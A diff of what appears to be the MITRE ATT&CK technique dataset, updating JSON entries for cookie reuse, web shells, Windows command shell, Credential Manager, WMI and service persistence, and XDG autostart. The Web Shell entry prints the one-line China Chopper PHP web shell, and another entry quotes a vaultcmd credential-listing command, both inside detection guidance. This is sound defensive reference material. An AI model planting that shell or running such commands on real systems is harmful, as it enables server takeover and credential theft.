credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", "type": "attack-pattern", "kill_chain_phases": [ @@ -34640,24 +36431,25 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-09-16T19:40:44.527Z", + "modified": "2021-04-14T13:21:37.474Z", "created": "2020-01-30T17:48:49.395Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_data_sources": [ - "Office 365 audit logs", - "Authentication logs" + "Web Credential: Web Credential Usage", + "Application Log: Application Log Content" ], "x_mitre_contributors": [ "Johann Rehberger" ], "x_mitre_platforms": [ "Office 365", - "SaaS" + "SaaS", + "Google Workspace" ] }, { @@ -34691,22 +36483,6 @@ "created": "2017-05-31T21:31:13.061Z" }, { - "created": "2019-12-13T16:46:18.927Z", - "modified": "2020-09-16T19:34:19.752Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", - "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ", - "name": "Web Shell", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -34729,27 +36505,45 @@ "source_name": "US-CERT Alert TA15-314A Web Shells" } ], - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "Process monitoring", - "Netflow/Enclave netflow", - "File monitoring", - "Authentication logs" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Web Shell", + "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ", + "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "modified": "2020-09-16T19:34:19.752Z", + "created": "2019-12-13T16:46:18.927Z", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, + "x_mitre_system_requirements": [ + "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." ], - "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ", "x_mitre_permissions_required": [ "SYSTEM", "User" ], - "x_mitre_system_requirements": [ - "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." + "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1" + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] }, { "external_references": [ @@ -34808,7 +36602,7 @@ }, { "created": "2020-03-09T14:12:31.196Z", - "modified": "2020-03-28T17:02:13.722Z", + "modified": "2021-04-14T15:36:02.195Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -34816,6 +36610,13 @@ } ], "type": "attack-pattern", + "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", + "name": "Windows Command Shell", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -34823,27 +36624,93 @@ "url": "https://attack.mitre.org/techniques/T1059/003" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "Windows" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Windows Command Shell", - "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd.exe) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage cmd.exe to execute various commands and payloads. Common uses include cmd.exe /c to execute a single command, or abusing cmd.exe interactively with input and output forwarded over a command and control channel.", - "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", - "x_mitre_data_sources": [ - "Windows event logs", - "Process command-line parameters", - "Process monitoring" + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" + }, + { + "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)", + "name": "Windows Credential Manager", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1555.004", + "url": "https://attack.mitre.org/techniques/T1555/004" + }, + { + "source_name": "Microsoft Credential Manager store", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store", + "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020." + }, + { + "source_name": "Microsoft Credential Locker", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN", + "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020." + }, + { + "source_name": "passcape Windows Vault", + "url": "https://www.passcape.com/windows_password_recovery_vault_explorer", + "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020." + }, + { + "source_name": "Malwarebytes The Windows Vault", + "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ", + "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020." + }, + { + "source_name": "Microsoft CredEnumerate", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea", + "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020." + }, + { + "source_name": "Delpy Mimikatz Crendential Manager", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials", + "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-29T21:00:18.973Z", + "created": "2020-11-23T15:35:53.793Z", "x_mitre_platforms": [ "Windows" - ] + ], + "x_mitre_contributors": [ + "Bernaldo Penas Antelo", + "Mugdha Peter Bansode" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "File: File Access" + ], + "x_mitre_detection": "Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\u201cWindows Credentials\u201d).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { "external_references": [ @@ -34903,10 +36770,10 @@ ], "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", "x_mitre_data_sources": [ - "Windows event logs", - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "File: File Metadata" ], "x_mitre_platforms": [ "Windows" @@ -34974,10 +36841,9 @@ ], "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", "x_mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "Process: Process Creation", + "Network Traffic: Network Connection Creation" ], "x_mitre_version": "1.1", "x_mitre_is_subtechnique": false @@ -35064,6 +36930,11 @@ "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96", "source_name": "Medium Detecting WMI Persistence" }, + { + "source_name": "Elastic - Hunting for Persistence Part 1", + "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1", + "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020." + }, { "source_name": "Microsoft Register-WmiEvent", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1", @@ -35088,19 +36959,23 @@ "phase_name": "persistence" } ], - "modified": "2020-05-05T12:02:45.522Z", + "modified": "2021-04-13T21:32:54.094Z", "created": "2020-01-24T14:07:56.276Z", - "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic" + ], + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], - "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1086) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).", + "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "WMI Objects" + "Command: Command Execution", + "Process: Process Creation", + "WMI: WMI Creation" ], "x_mitre_platforms": [ "Windows" @@ -35191,21 +37066,26 @@ "Administrator" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Netflow/Enclave netflow", - "Authentication logs", - "File monitoring" + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation", + "Command: Command Execution" ] }, { - "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", - "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ", - "name": "Windows Service", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-01-17T19:13:50.402Z", + "modified": "2020-09-16T15:49:58.490Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -35248,41 +37128,36 @@ "source_name": "Microsoft Windows Event Forwarding FEB 2018" } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "modified": "2020-09-16T15:49:58.490Z", - "created": "2020-01-17T19:13:50.402Z", - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_data_sources": [ - "API monitoring", - "Windows event logs", - "Process command-line parameters", - "Process monitoring", - "File monitoring", - "Windows Registry" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Windows Service", + "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ", + "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_contributors": [ "Matthew Demaske, Adaptforward", "Travis Smith, Tripwire", "Pedro Harrison" + ], + "x_mitre_data_sources": [ + "Service: Service Creation", + "Service: Service Modification", + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Windows" ] }, { @@ -35365,9 +37240,9 @@ "Praetorian" ], "x_mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution" ], "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_permissions_required": [ @@ -35377,11 +37252,69 @@ "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1547.013", + "url": "https://attack.mitre.org/techniques/T1547/013" + }, + { + "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.", + "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html", + "source_name": "Free Desktop Application Autostart Feb 2006" + }, + { + "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.", + "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html", + "source_name": "Free Desktop Entry Keys" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "XDG Autostart Entries", + "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.", + "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2020-11-10T15:55:10.103Z", + "created": "2019-09-10T18:13:12.195Z", + "x_mitre_is_subtechnique": true, + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_platforms": [ + "Linux" + ] + }, { "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "XSL Script Processing", - "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file 